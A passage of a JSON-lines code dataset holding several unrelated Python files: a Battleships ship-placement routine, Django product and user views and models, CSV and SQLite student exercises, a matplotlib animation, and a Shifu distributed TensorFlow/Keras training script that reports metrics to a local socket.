1)[0]\n points_2 = [(row_2, col_2), (row_2, col_2 + 1)]\n \n if points[0][0] not in points_2:\n points.append(points_2)\n break\n\n # For ship 3,4,5 in different areas, index 'i' is ship number:\n i = 3\n while i <= 5:\n area = area_order[i - 2]\n row_edge = row_range[area]\n col_edge = col_range[area]\n # decide the ship placment direction.\n direction = Player.random.randint(0, 1)\n if direction == 0: # down\n row_i = Player.random.sample(range(row_edge[0], row_edge[1] - i + 1), 1)[0]\n col_i = Player.random.sample(range(col_edge[0], col_edge[1]), 1)[0]\n points_i = [(row_i, col_i)]\n j = 1\n while j < i:\n points_i.append((row_i + j, col_i))\n j += 1\n\n else: # right\n row_i = Player.random.sample(range(row_edge[0], row_edge[1]), 1)[0]\n col_i = Player.random.sample(range(col_edge[0], col_edge[1] - i + 1), 1)[0]\n points_i = [(row_i, col_i)]\n j = 1\n while j < i:\n points_i.append((row_i, col_i + j))\n j += 1\n points.append(points_i)\n i += 1\n self.positions = points\n return None","sub_path":"Battleships/Submission/Final_Merlin.py","file_name":"Final_Merlin.py","file_ext":"py","file_size_in_byte":16876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"123658904","text":"from django.contrib import messages\nfrom django.shortcuts import render\nfrom produit.models import ProduitModel\nfrom produit.forms import prodforms\n\n# Create your views here.\n\ndef home(request):\n showall = ProduitModel.objects.all()\n return render(request, 'produit/index.html',{\"data\":showall})\n\ndef insert_produit(request):\n if request.method==\"POST\":\n if request.POST.get('nom') and request.POST.get('marque') and request.POST.get('couleur') and request.POST.get('categorie') and request.POST.get('variete') and request.POST.get('quantite') and request.POST.get('prix') and request.POST.get('descr'):\n saverecord=ProduitModel()\n saverecord.nom=request.POST.get('nom')\n saverecord.couleur = request.POST.get('couleur')\n saverecord.categorie = request.POST.get('categorie')\n saverecord.variete = request.POST.get('variete')\n saverecord.marque = request.POST.get('marque')\n saverecord.quantite = request.POST.get('quantite')\n saverecord.prix = request.POST.get('prix')\n saverecord.descr = request.POST.get('descr')\n saverecord.save()\n messages.success(request, 'Le Produit '+saverecord.nom+' a été enregistré avec succès !')\n return render(request, 'produit/formulaire.html')\n else:\n return render(request, 'produit/formulaire.html')\n\n\n\n\n\ndef editprod(request,id):\n editprodobj=ProduitModel.objects.get(id=id)\n return render(request,'produit/edit_produit.html', {\"ProduitModel\":editprodobj})\n\ndef details_produit(request,id):\n obj=ProduitModel.objects.get(id=id)\n return render(request,'produit/details.html', {\"ProduitModel\":obj})\n\ndef updateprod(request,id):\n modprod=ProduitModel.objects.get(id=id)\n form=prodforms(request.POST, instance=modprod)\n if form.is_valid():\n form.save()\n messages.success(request, 'Le Produit modifié avec succès !')\n\n return render(request,'produit/edit_produit.html', {\"ProduitModel\":modprod})\n\ndef delProd(request,id):\n deleteprod=ProduitModel.objects.get(id=id)\n deleteprod.delete()\n showdata=ProduitModel.objects.all()\n return render(request, 'produit/main.html', {\"data\":showdata})\n\n\n","sub_path":"produit/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"267116187","text":"import csv\n\n\ndef count_games(filename):\n with open(filename) as inputfile:\n glist = csv.reader(inputfile, delimiter=\"\\t\")\n number_of_games = len(list(glist))\n return number_of_games\n\n\ndef decide(filename, year):\n with open(filename) as inputfile:\n glist = csv.reader(inputfile, delimiter=\"\\t\")\n combined = [item for slist in glist for item in slist]\n return str(year) in combined\n\n\ndef get_latest(filename):\n with open(filename) as inputfile:\n glist = csv.reader(inputfile, delimiter=\"\\t\")\n years = []\n years.append([row[2] for row in glist])\n newest_year = max(years[0])\n with open(filename) as glist:\n for num, line in enumerate(glist, 0):\n if (newest_year) in line:\n return line.split('\\t')[0]\n\n\ndef count_by_genre(filename, genre):\n with open(filename) as inputfile:\n glist = csv.reader(inputfile, delimiter=\"\\t\")\n combined = [item for slist in glist for item in slist]\n return combined.count(str(genre))\n\n\ndef get_line_number_by_title(filename, title):\n with open(filename) as glist:\n for num, line in enumerate(glist, 1):\n if str(title) in line:\n return num\n else:\n return ValueError\n","sub_path":"reports.py","file_name":"reports.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"542496524","text":"from django.contrib.auth.models import BaseUserManager, AbstractBaseUser, User, \\\n Group, PermissionsMixin\nfrom django.db import models\n\nfrom apps.map.models import Region, District\n\n\nclass Organization(models.Model):\n name = models.CharField(max_length=200, verbose_name='Наименование')\n district = models.ForeignKey(District,\n null=True,\n blank=True,\n verbose_name='Округ')\n region = models.ForeignKey(Region,\n null=True,\n blank=True,\n verbose_name='Район')\n\n class Meta:\n verbose_name = 'Организация'\n verbose_name_plural = 'Организации'\n\n def __str__(self):\n return self.name\n\n\nclass RatingsUserManager(BaseUserManager):\n def create_blank_user(self, email):\n if not email:\n raise ValueError('У пользователя должен быть email адрес')\n user = self.model(\n email=self.normalize_email(email),\n )\n return user\n\n def create_user(self, email):\n user = self.create_blank_user(email)\n user.set_password(None)\n user.save(using=self._db, force_insert=True)\n return user\n\n def create_superuser(self, email, password):\n user = self.create_blank_user(email)\n user.set_password(password)\n user.is_admin = True\n user.save(using=self._db)\n return user\n\n\nclass RatingsUser(AbstractBaseUser, PermissionsMixin):\n email = models.EmailField(\n verbose_name='email',\n max_length=255,\n unique=True,\n )\n is_active = models.BooleanField(default=True,\n verbose_name='Активный')\n is_admin = models.BooleanField(default=False,\n verbose_name='Админ')\n\n objects = RatingsUserManager()\n\n USERNAME_FIELD = 'email'\n\n class Meta:\n verbose_name = 'Пользователь'\n verbose_name_plural = 'Пользователи'\n\n def get_full_name(self):\n return self.email\n\n def get_short_name(self):\n return self.email\n\n def has_perm(self, perm, obj=None):\n return True\n\n def has_module_perms(self, app_label):\n return True\n\n @property\n def is_staff(self):\n return self.is_admin\n\n\nclass Employee(models.Model):\n user = models.OneToOneField(RatingsUser, on_delete=models.CASCADE)\n last_name = models.CharField(max_length=100,\n verbose_name='Фамилия')\n first_name = models.CharField(max_length=100,\n verbose_name='Имя')\n patronymic = models.CharField(max_length=100,\n null=True,\n blank=True,\n verbose_name='Отчество')\n organization = models.ForeignKey(Organization,\n null=True)\n\n class Meta:\n abstract = True\n\n def __str__(self):\n return '{} | {}'.format(self.short_name, self.user.email)\n\n @property\n def full_name(self):\n return '{} {} {}'.format(\n self.last_name,\n self.first_name,\n self.patronymic if self.patronymic else ''\n )\n\n @property\n def short_name(self):\n return '{} {}{}'.format(\n self.last_name,\n self.first_name[0] + '.',\n self.patronymic[0] + '.' if self.patronymic else ''\n )\n\n\nclass RegionEmployee(Employee):\n\n class Meta:\n verbose_name = 'Сотрудник района'\n verbose_name_plural = 'Сотрудники районов'\n ordering = ('last_name', )\n\n\nclass PrefectureEmployee(Employee):\n can_approve_rating = models.BooleanField(default=False,\n verbose_name=\"Может подтвержать \"\n \"рейтинг\")\n\n class Meta:\n verbose_name = 'Сотрудник префектуры'\n verbose_name_plural = 'Сотрудники префектуры'\n ordering = ('last_name', )\n","sub_path":"apps/employees/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"62536957","text":"#Real Fact 720 -- Angela Tom & Dennis Chen\n#SoftDev1 pd 6\n#K17: Average\n#10/6/18\n\nimport sqlite3\nimport csv\n\n\n#========Initializing Files========\n\nDB_FILE=\"database.db\"\ndb = sqlite3.connect(DB_FILE)\ndb.text_factory = str\nc = db.cursor() #allows sqlite to be used on database.db\n\n\n#==========Function for making a table from csv==========\n\ndef makeTable(filename):\n with open(filename, 'r') as csvfile: #opens database\n reader = csv.DictReader(csvfile) #creates sequence of dictionaries\n num = 0 #used to determine if row is first row\n col1 = \"\" #initializes column strings\n col2 = \"\"\n col3 = \"\"\n for row in reader: #goes through each row, adds to table\n if num == 0: #if row is first row, names columns based on csv file, uses list of keys to access header names\n col1 = list(row.keys())[0] \n col2 = list(row.keys())[1]\n col3 = list(row.keys())[2]\n c.execute(\"CREATE TABLE \" + filename[0:-4] + \"(\" +col1+ \" TEXT, \" + col2+ \" INTEGER, \" +col3+\" INTEGER)\") #creates table\n num = num + 1 #increments to indicate first row has been passed\n params = (row[col1],row[col2],row[col3]) #creates params for values using row dictionary and column names \n c.execute(\"INSERT INTO \" + filename[0:-4] + \" VALUES(?, ?, ?)\", params) #inserts values in each row into the table\ndef average():\n #creates a list of the names and grades of the students\n command = 'SELECT name,mark FROM peeps,courses WHERE courses.id = peeps.id'\n cur = c.execute(command)\n tab = cur.fetchall()\n #print(tab)\n #creates a list of names\n command = 'SELECT name from peeps'\n cur = c.execute(command)\n tabl = cur.fetchall()\n #creates a list of ids\n command = 'Select id from peeps'\n cur = c.execute(command)\n\n #creates a dictionary where the keys are the student names and value is a empty list\n names = dict()\n for each in tabl:\n names[each[0]] = []\n #print(names)\n #puts each student's grades into the empty list in the dictionary\n for name in tab:\n names[name[0]].append(name[1])\n #print(names)\n #replaces the list of grades with a list of their average and id\n for name in names:\n id = cur.fetchone()[0]\n names[name] = [float(\"{0:.2f}\".format(sum(names[name]) / (float(len(names[name]))))),id]\n print(names)\n return names\n \ndef createIDTable():\n avgD = average() # dictionary of the averages\n c.execute(\"CREATE TABLE peeps_avg (id INTEGER, average FLOAT)\") # create the peeps_avg table\n for values in avgD.values(): \n id = values[1] \n #print (id);\n avg = values[0]\n #print (avg)\n params = (id, avg)\n c.execute(\"INSERT INTO peeps_avg VALUES (?, ?)\", params) # fill up the table with id and values\n\ndef addRows(code, mark, id):\n params = (code, mark, id)\n c.execute(\"INSERT INTO courses VALUES (?,?,?)\", params)\n#==================Calling functions for file names used, saving changes=====================\n\n\nmakeTable(\"courses.csv\")\nmakeTable(\"peeps.csv\")\nprint(average())\ncreateIDTable()\naddRows(\"S\", 10, 0)\ndb.commit() #save changes\ndb.close() #close database\n\n\n\n\n","sub_path":"17_db-nmcrnch/stu_mean.py","file_name":"stu_mean.py","file_ext":"py","file_size_in_byte":3405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"342002623","text":"from __future__ import unicode_literals\nfrom django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.contrib.auth import login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom . import forms\nfrom .models import idea\n\ndef signup_view(request):\n if request.method == 'POST':\n form = UserCreationForm(request.POST)\n if form.is_valid():\n user = form.save()\n login(request, user)\n return redirect('it20:it20about')\n else:\n form = UserCreationForm()\n return render(request, 'users/signup.html', {'form':form})\n\ndef login_view(request):\n if request.method == 'POST':\n form = AuthenticationForm(data = request.POST)\n if form.is_valid():\n user = form.get_user()\n login(request, user)\n if 'next' in request.POST:\n return redirect(request.POST.get('next'))\n else:\n return redirect('it20:it20about')\n else:\n form = AuthenticationForm()\n return render(request, 'users/login.html', {'form':form})\n\ndef logout_view(request):\n if request.method == 'POST':\n logout(request)\n return redirect('it20:it20about')\n\n\n@login_required(login_url='it20:login')\ndef submit(request):\n if request.method == 'POST':\n form = forms.IdeaSubmissionForm(request.POST, request.FILES)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.author = request.user\n instance.slug = request.user\n instance.save()\n return redirect('it20:it20about')\n else:\n form = forms.IdeaSubmissionForm()\n return render(request, 'users/ideaSubPage.html', {'form':form})\n\n#idea = idea.objects.all().order_by('date')\n#for idea in\n #if request.user == idea.user:\n #return render(request, 'users/yourIdea.html', {'idea':idea})\n","sub_path":"home/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"105550451","text":"from random import randint\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.animation as animation\r\nfrom matplotlib import style\r\n\r\nstyle.use ('fivethirtyeight')\r\n\r\nfig = plt.figure()\r\naxl = fig.add_subplot(1,1,1)\r\n\r\ndef randints(num):\r\n arr = []\r\n for i in range(num):\r\n arr += [randint(1,100)]\r\n return arr\r\n\r\n\r\ndef animate(i):\r\n global xs, ys\r\n xs.append(xs[-1]+1)\r\n ys.append(randint(1,100))\r\n axl.clear()\r\n axl.plot(xs,ys)\r\n\r\nxs = [1,2,3,4,5,6,7,8,9]\r\nys = randints(9)\r\n\r\nani = animation.FuncAnimation(fig,animate, interval=1000)\r\nplt.show()\r\n","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"376106784","text":"# -*- coding: utf-8 -*-\n\n# Copyright [2012-2018] PayPal Software Foundation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\n'''Distributed TF model training class, model definition is keras model.'''\n\nimport os\nimport tensorflow as tf\nimport argparse\nimport time\nimport sys\nimport logging\nimport gzip\nimport math\nfrom StringIO import StringIO\nimport random\nimport numpy as np\nfrom tensorflow.python.platform import gfile\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.saved_model import builder\nfrom tensorflow.python.saved_model import signature_constants\nfrom tensorflow.python.saved_model import signature_def_utils\nfrom tensorflow.python.saved_model import tag_constants\nfrom tensorflow.python.estimator import model_fn as model_fn_lib\nfrom tensorflow import keras\nimport json\nimport socket\nfrom tensorflow.python.client import timeline\n\n#######################################################################################################################\n#### Start: Define TF Keras Model: customize below keras model, make sure Inputs and predictions are not changed.\n#######################################################################################################################\ndef model(shifu_context):\n inputs = keras.Input(shape=(shifu_context['feature_count'],), name='shifu_input_0') # Returns a placeholder tensor\n\n # such model arch in below can be defined manually rather than use configurations from ModelConfig.json\n train_params = shifu_context['model_conf']['train']['params']\n num_hidden_layer = int(train_params['NumHiddenLayers'])\n num_hidden_nodes = [int(s) for s in train_params['NumHiddenNodes']]\n activation_func = [get_activation_fun(s) for s in train_params['ActivationFunc']]\n\n previous_layer = inputs\n for i in range(0, num_hidden_layer):\n acti = train_params['ActivationFunc'][i]\n kernel_regularizer = None\n if \"RegularizedConstant\" in train_params:\n kernel_regularizer = keras.regularizers.l2(l=train_params[\"RegularizedConstant\"])\n kernel_initializer = \"glorot_uniform\"\n if \"WeightInitializer\" in train_params:\n kernel_initializer = train_params[\"WeightInitializer\"]\n\n layer = keras.layers.Dense(num_hidden_nodes[i], activation=acti, name='hidden_layer_'+str(i+1), kernel_regularizer=kernel_regularizer, kernel_initializer=kernel_initializer)(previous_layer)\n previous_layer = layer\n predictions = keras.layers.Dense(1, activation='sigmoid', name='shifu_output_0')(layer)\n\n model = tf.keras.models.Model(inputs, predictions)\n\n # loss now only string loss supported, loss function not supported now TODO support loss function\n opti = shifu_context['model_conf']['train']['params']['Propagation']; # 'adam', 'sgd' and 'adagrad' are supported\n model.compile(loss='binary_crossentropy', optimizer=get_optimizer(opti)(learning_rate=shifu_context['learning_rate']), metrics=['mse'])\n return model\n#######################################################################################################################\n#### END: Define TF Keras Model\n#######################################################################################################################\n\ndef get_optimizer(name):\n name = name.lower()\n if 'adam' == name:\n return tf.train.AdamOptimizer\n elif 'b' == name or 'sgd' == name or 'gd' == name or 'gradientdescent' == name:\n return tf.train.GradientDescentOptimizer\n elif 'adagrad' == name:\n return tf.train.AdagradOptimizer\n else:\n return tf.train.AdamOptimizer\n\ndef get_loss_func(name):\n if name == None:\n logging.warn(\"Loss 'name' is not specidied, set to mean_squared_error.\")\n return tf.losses.mean_squared_error\n name = name.lower()\n\n if 'squared' == name or 'mse' == name or 'mean_squared_error' == name:\n return tf.losses.mean_squared_error\n elif 'absolute' == name:\n return tf.losses.absolute_difference\n elif 'log' == name:\n return tf.losses.log_loss\n elif 'binary_crossentropy' == name:\n return tf.losses.log_loss\n else:\n return tf.losses.mean_squared_error\n\ndef get_activation_fun(name):\n if name is None:\n return tf.nn.relu\n name = name.lower()\n\n if 'sigmoid' == name:\n return tf.nn.sigmoid\n elif 'tanh' == name:\n return tf.nn.tanh\n elif 'relu' == name:\n return tf.nn.relu\n elif 'leakyrelu' == name:\n return tf.nn.leaky_relu\n elif 'leaky_relu' == name:\n return tf.nn.leaky_relu\n else:\n return tf.nn.relu\n\ndef get_column_info(feature_column_nums, meta_column_nums, target_column_num):\n max_index = target_column_num\n if len(feature_column_nums) > 0:\n max_index = max(max_index, feature_column_nums[-1])\n if len(meta_column_nums) > 0:\n max_index = max(max_index, meta_column_nums[-1])\n column_info = [[i, \"Default\"] for i in range(max_index + 1)]\n column_info[target_column_num] = [target_column_num, \"Target\"]\n for num in meta_column_nums:\n column_info[num] = [num, \"Meta\"]\n for num in feature_column_nums:\n column_info[num] = [num, \"Feature\"]\n return column_info\n\ndef read_context_from_env_and_modelconf():\n replicas_to_aggregate_ratio = 1 # Aggregation replica reatio, default is 1, setting to < 1 can accerlerate traning but accuracy may be dropped.\n \n delimiter = '|'\n if \"DELIMITER\" in os.environ:\n delimiter = os.environ['DELIMITER']\n\n # Read properties from ENV\n cluster_spec = json.loads(os.environ[\"CLUSTER_SPEC\"])\n n_pss = len(cluster_spec['ps']) # the number of parameter servers\n n_workers = int(os.environ[\"WORKER_CNT\"]) # the number of worker nodes\n job_name = os.environ[\"JOB_NAME\"]\n task_index = int(os.environ[\"TASK_ID\"])\n is_chief = (job_name == \"worker\" and task_index == 0)\n socket_server_port = int(os.environ[\"SOCKET_SERVER_PORT\"]) # The port of local java socket server listening, to sync worker training intermediate information with master\n total_training_data_number = int(os.environ[\"TOTAL_TRAINING_DATA_NUMBER\"]) # total data 200468\n feature_column_nums = [int(s) for s in str(os.environ[\"SELECTED_COLUMN_NUMS\"]).split(' ')] # selected column numbers\n feature_count = len(feature_column_nums) # number of input columns\n meta_column_nums = [int(s) for s in str(os.environ[\"META_COLUMN_NUM\"]).split(' ')]\n\n sample_weight_column_num = int(os.environ[\"WEIGHT_COLUMN_NUM\"]) # weight column number, default is -1\n target_column_num = int(os.environ[\"TARGET_COLUMN_NUM\"]) # target column number, default is -1\n column_info = get_column_info(feature_column_nums, meta_column_nums, target_column_num)\n\n tmp_model_path = os.environ[\"TMP_MODEL_PATH\"]\n final_model_path = os.environ[\"FINAL_MODEL_PATH\"]\n with open('./ModelConfig.json') as f:\n model_conf = json.load(f)\n logging.info(\"Model conf: \" + str(model_conf))\n epochs = int(model_conf['train']['numTrainEpochs'])\n valid_training_data_ratio = model_conf['train']['validSetRate']\n is_continue_train = model_conf['train']['isContinuous']\n batch_size = 128\n if \"MiniBatchs\" in model_conf['train']['params']:\n batch_size = model_conf['train']['params']['MiniBatchs']\n loss_func = 'binary_crossentropy'\n if \"Loss\" in model_conf['train']['params']:\n loss_func = model_conf['train']['params']['Loss']\n \n learning_rate = model_conf['train']['params']['LearningRate']\n\n training_data_path = ''\n if \"TRAINING_DATA_PATH\" in os.environ:\n training_data_path = os.environ[\"TRAINING_DATA_PATH\"]\n\n # TODO weight_initalizer should be set and enabled\n\n return {\"model_conf\": model_conf, \"replicas_to_aggregate_ratio\": replicas_to_aggregate_ratio, \"delimiter\": delimiter, \n \"cluster_spec\": cluster_spec, \"n_pss\": n_pss, \"n_workers\": n_workers, \"job_name\": job_name, \"task_index\": task_index, \n \"socket_server_port\": socket_server_port, \"feature_column_nums\": feature_column_nums, \"meta_column_nums\": meta_column_nums,\n \"total_training_data_number\": total_training_data_number, \"sample_weight_column_num\": sample_weight_column_num,\n \"target_column_num\": target_column_num, \"tmp_model_path\": tmp_model_path, \"final_model_path\": final_model_path,\n \"is_continue_train\": is_continue_train, \"valid_training_data_ratio\": valid_training_data_ratio, 'column_info': column_info,\n \"layers\": model_conf['train']['params']['NumHiddenNodes'], \"batch_size\": batch_size, \"feature_count\": feature_count,\n \"model_name\": model_conf['basic']['name'], \"is_chief\": is_chief, \"training_data_path\": training_data_path,\n \"export_dir\": final_model_path, \"epochs\": epochs, \"sample_weight_column_num\": sample_weight_column_num,\n \"learning_rate\": learning_rate, \"loss_func\": loss_func, \"optimizer\": \"adam\",\"weight_initalizer\": \"xavier\",\n \"act_funcs\": model_conf['train']['params']['ActivationFunc']}\n\nclass GraphEditTestHook(tf.train.SessionRunHook):\n \"\"\"\n Add a hook in begin to check if we can edit such graph, after MonitoredTrainingSession the graph is finalized cannot be changed,\n The tensor read and added in begin method can be called in session.run.\n \"\"\"\n\n def __init__(self, cluster, worker_device):\n logging.info(\"test ... \")\n self.cluster = cluster\n self.worker_device = worker_device\n\n def begin(self):\n logging.info(\"test begin ... \")\n with tf.device(tf.train.replica_device_setter(#ps_tasks=n_pss,\n cluster=self.cluster,\n worker_device=self.worker_device)):\n graph = tf.get_default_graph()\n output_tensor = graph.get_tensor_by_name('shifu_output_0/Sigmoid:0')\n constant = tf.constant([1])\n output_add_tensor = tf.add_n([output_tensor, constant])\n tf.add_to_collection(\"TestHook\", output_add_tensor)\n\ndef main(_):\n logging.basicConfig(level=logging.INFO, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%y-%m-%d %H:%M:%S')\n\n shifu_context = read_context_from_env_and_modelconf();\n logging.info(\"Shifu context: %s\" % str(shifu_context))\n \n # This client is used for sync worker training intermediate information with master\n socket_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n socket_client.connect((\"127.0.0.1\", shifu_context[\"socket_server_port\"])) # sync to local one and logic processed in local TaskExecutor\n\n logging.info(\"Job info: job_name:%s, task_index:%d.\" % (shifu_context['job_name'], shifu_context['task_index']))\n\n ps_hosts = shifu_context['cluster_spec']['ps']\n worker_hosts = shifu_context['cluster_spec']['worker']\n cluster = tf.train.ClusterSpec({\"ps\": ps_hosts, \"worker\": worker_hosts})\n\n # allows this node know about all other nodes\n if shifu_context['job_name'] == 'ps': # checks if parameter server\n logging.info(\"Join cluster as ps role.\")\n server = tf.train.Server(cluster,\n job_name=\"ps\",\n task_index=shifu_context['task_index'])\n server.join()\n else: # it must be a worker server\n is_chief = (shifu_context['task_index'] == 0) # checks if this is the chief node\n server = tf.train.Server(cluster,\n job_name=\"worker\",\n task_index=shifu_context['task_index'])\n logging.info(\"Loading data from worker index = %d\" % shifu_context['task_index'])\n\n if \"TRAINING_DATA_PATH\" in os.environ:\n logging.info(\"This is a normal worker.\")\n training_data_path = os.environ[\"TRAINING_DATA_PATH\"]\n logging.info(\"Loading data from path = %s.\" % str(training_data_path))\n else:\n logging.info(\"This is a backup worker.\")\n\n if shifu_context['is_chief'] and shifu_context['is_continue_train'] and ( gfile.Exists(os.path.join(shifu_context['final_model_path'], 'saved_model.pb')) or gfile.Exists(os.path.join(shifu_context['final_model_path'], 'saved_model.pbtxt')) ):\n logging.info(\"Adding model loading hook.\")\n tf.reset_default_graph() # reset graph at first to avoid conflict in later graph loading\n # save continous model from user to last checkpoint and existing logic will load it before training in MonitoredTrainingSession\n with tf.Session() as session:\n logging.info(\"Load eisting pb models for continuous training ...\")\n tf.saved_model.loader.load(session, [tag_constants.TRAINING, tag_constants.SERVING], shifu_context['final_model_path'])\n # global step set to sys.maxint to make sure last checkpoint\n save_path = tf.train.Saver().save(session, shifu_context['tmp_model_path'], global_step=sys.maxint)\n logging.info(\"Save checkpoint model is done: %s ... \" % str(save_path))\n tf.reset_default_graph() # reset again to make sure below model training not be impacted\n\n # import data\n context = load_data(shifu_context)\n\n # split data into batch\n total_batch = int(len(context[\"train_data\"]) / shifu_context['batch_size'])\n x_batch = np.array_split(context[\"train_data\"], total_batch)\n y_batch = np.array_split(context[\"train_target\"], total_batch)\n sample_w_batch = np.array_split(context[\"train_data_sample_weight\"], total_batch)\n\n logging.info(\"Testing set size: %d.\" % len(context['valid_data']))\n logging.info(\"Training set size: %d.\" % len(context['train_data']))\n\n valid_x = np.asarray(context[\"valid_data\"])\n valid_y = np.asarray(context[\"valid_target\"])\n valid_sample_w = np.asarray(context[\"valid_data_sample_weight\"])\n\n # Graph\n worker_device = \"/job:%s/task:%d\" % (shifu_context['job_name'], shifu_context['task_index'])\n with tf.device(tf.train.replica_device_setter(#ps_tasks=n_pss,\n cluster=cluster,\n worker_device=worker_device\n )):\n label_placeholder = tf.placeholder(dtype=tf.int32, shape=(None, 1))\n sample_weight_placeholder = tf.placeholder(dtype=tf.float32, shape=(None, 1))\n\n keras.backend.set_learning_phase(True)\n keras.backend.manual_variable_initialization(True)\n new_model = model(shifu_context)\n logging.info(\"Model inputs: %s; Model outputs: %s; Loss: %s; optimizer: %s.\" % (str(new_model.inputs), str(new_model.output), str(new_model.loss), str(new_model.optimizer)))\n\n if new_model.optimizer.__class__.__name__ == \"TFOptimizer\":\n de_optimizer = new_model.optimizer.optimizer\n logging.info(\"DEBUG: TFOptimizer.\")\n else:\n de_optimizer = get_optimizer(new_model.optimizer.__class__.__name__)\n\n loss = get_loss_func(new_model.loss)(predictions=new_model.output, labels=label_placeholder, weights=sample_weight_placeholder)\n\n # Construct SyncReplicasOptimizer for sync model distributed training, async model performance is not good\n batch_size = shifu_context['batch_size']\n valid_ratio = shifu_context['valid_training_data_ratio']\n replicas_to_aggregate_ratio = shifu_context['replicas_to_aggregate_ratio']\n n_training = shifu_context['total_training_data_number']\n opt = tf.train.SyncReplicasOptimizer(\n de_optimizer,\n replicas_to_aggregate=int(n_training * (1-valid_ratio) / batch_size * replicas_to_aggregate_ratio),\n total_num_replicas=int(n_training * (1-valid_ratio) / batch_size),\n name=\"shifu_sync_replicas\")\n\n global_step = tf.get_variable('global_step', [],\n initializer=tf.constant_initializer(0),\n trainable=False,\n dtype=tf.int32)\n\n train_step = opt.minimize(loss, global_step=global_step)\n logging.info(\"Train step: %s.\" % str(train_step))\n # init ops\n init_tokens_op = opt.get_init_tokens_op()\n # initialize local step\n local_init = opt.local_step_init_op\n if is_chief:\n # initializes token queue\n local_init = opt.chief_init_op\n\n # checks if global vars are init\n ready_for_local_init = opt.ready_for_local_init_op\n\n # Initializing the variables\n init_op = tf.initialize_all_variables()\n logging.info(\"---Variables initialized---\")\n\n # **************************************************************************************\n # Session\n sync_replicas_hook = opt.make_session_run_hook(is_chief)\n stop_hook = tf.train.StopAtStepHook(num_steps=shifu_context['epochs'])\n #chief_hooks = [sync_replicas_hook, stop_hook, GraphEditHook(cluster=cluster, worker_device=worker_device)]\n chief_hooks = [sync_replicas_hook, stop_hook]\n if shifu_context['is_continue_train']:\n scaff = None\n else:\n scaff = tf.train.Scaffold(init_op=init_op,\n local_init_op=local_init,\n ready_for_local_init_op=ready_for_local_init)\n # Configure\n if \"IS_BACKUP\" in os.environ:\n config = tf.ConfigProto(log_device_placement=False,\n allow_soft_placement=True,\n device_filters=['/job:ps', '/job:worker/task:0',\n '/job:worker/task:%d' % shifu_context['task_index']])\n else:\n config = tf.ConfigProto(log_device_placement=False,\n allow_soft_placement=True)\n\n # Create a \"supervisor\", which oversees the training process.\n sess = tf.train.MonitoredTrainingSession(master=server.target,\n is_chief=shifu_context['is_chief'],\n config=config,\n scaffold=scaff,\n hooks=chief_hooks,\n log_step_count_steps=0,\n stop_grace_period_secs=10,\n checkpoint_dir=shifu_context['tmp_model_path'])\n\n if shifu_context['is_chief'] and not shifu_context['is_continue_train']:\n sess.run(init_tokens_op)\n logging.info(\"Chief worker start waiting 20 seconds.\")\n time.sleep(20) # grace period to wait on other workers before starting training\n logging.info(\"Chief worker finish waiting 20 seconds.\")\n\n # Train until hook stops session\n logging.info('Starting training on worker %d.' % shifu_context['task_index'])\n\n run_metadata = tf.RunMetadata()\n run_options = tf.RunOptions(trace_level=tf.RunOptions.FULL_TRACE)\n while not sess.should_stop():\n try:\n start = time.time()\n for i in range(total_batch):\n train_feed = {new_model.inputs[0]: x_batch[i],\n label_placeholder: y_batch[i],\n sample_weight_placeholder: sample_w_batch[i]}\n #_, l, gs,opa = sess.run([train_step, loss, global_step, tf.get_collection(\"TestHook\")[0]], feed_dict=train_feed, options=run_options,run_metadata=run_metadata)\n _, l, gs = sess.run([train_step, loss, global_step], feed_dict=train_feed, options=run_options,run_metadata=run_metadata)\n training_time = time.time() - start\n \n valid_start = time.time()\n # compute validation loss\n valid_loss, gs = sess.run([loss, global_step], feed_dict={new_model.inputs[0]: valid_x,\n label_placeholder: valid_y,\n sample_weight_placeholder: valid_sample_w}\n )\n valid_time = time.time() - valid_start\n # TODO, here training loss is last index of loss, should be averaged\n logging.info(\"DEBUG: total_batch=%s index:%s step: %s worker: %s training loss:%s training time:%s valid loss:%s valid time:%s.\" % (str(total_batch), str(i), str(gs), str(shifu_context['task_index']), str(l), str(training_time), str(valid_loss), str(valid_time)))\n\n # Send intermediate result to master\n message = \"worker_index:{},time:{},current_epoch:{},training_loss:{},valid_loss:{},valid_time:{}\\n\".format(\n str(shifu_context['task_index']), str(training_time), str(gs), str(l), str(valid_loss), str(valid_time))\n if sys.version_info < (3, 0):\n socket_client.send(bytes(message))\n else:\n socket_client.send(bytes(message), 'utf8')\n\n except RuntimeError as re:\n if 'Run called even after should_stop requested.' == re.args[0]:\n logging.info('About to execute sync_clean_up_op!')\n else:\n raise\n\n # close session and log done\n logging.info('Done training task %s.' % str(shifu_context['task_index']))\n sess.close()\n\n # We just need to make sure chief worker exit with success status is enough\n if shifu_context['is_chief']:\n 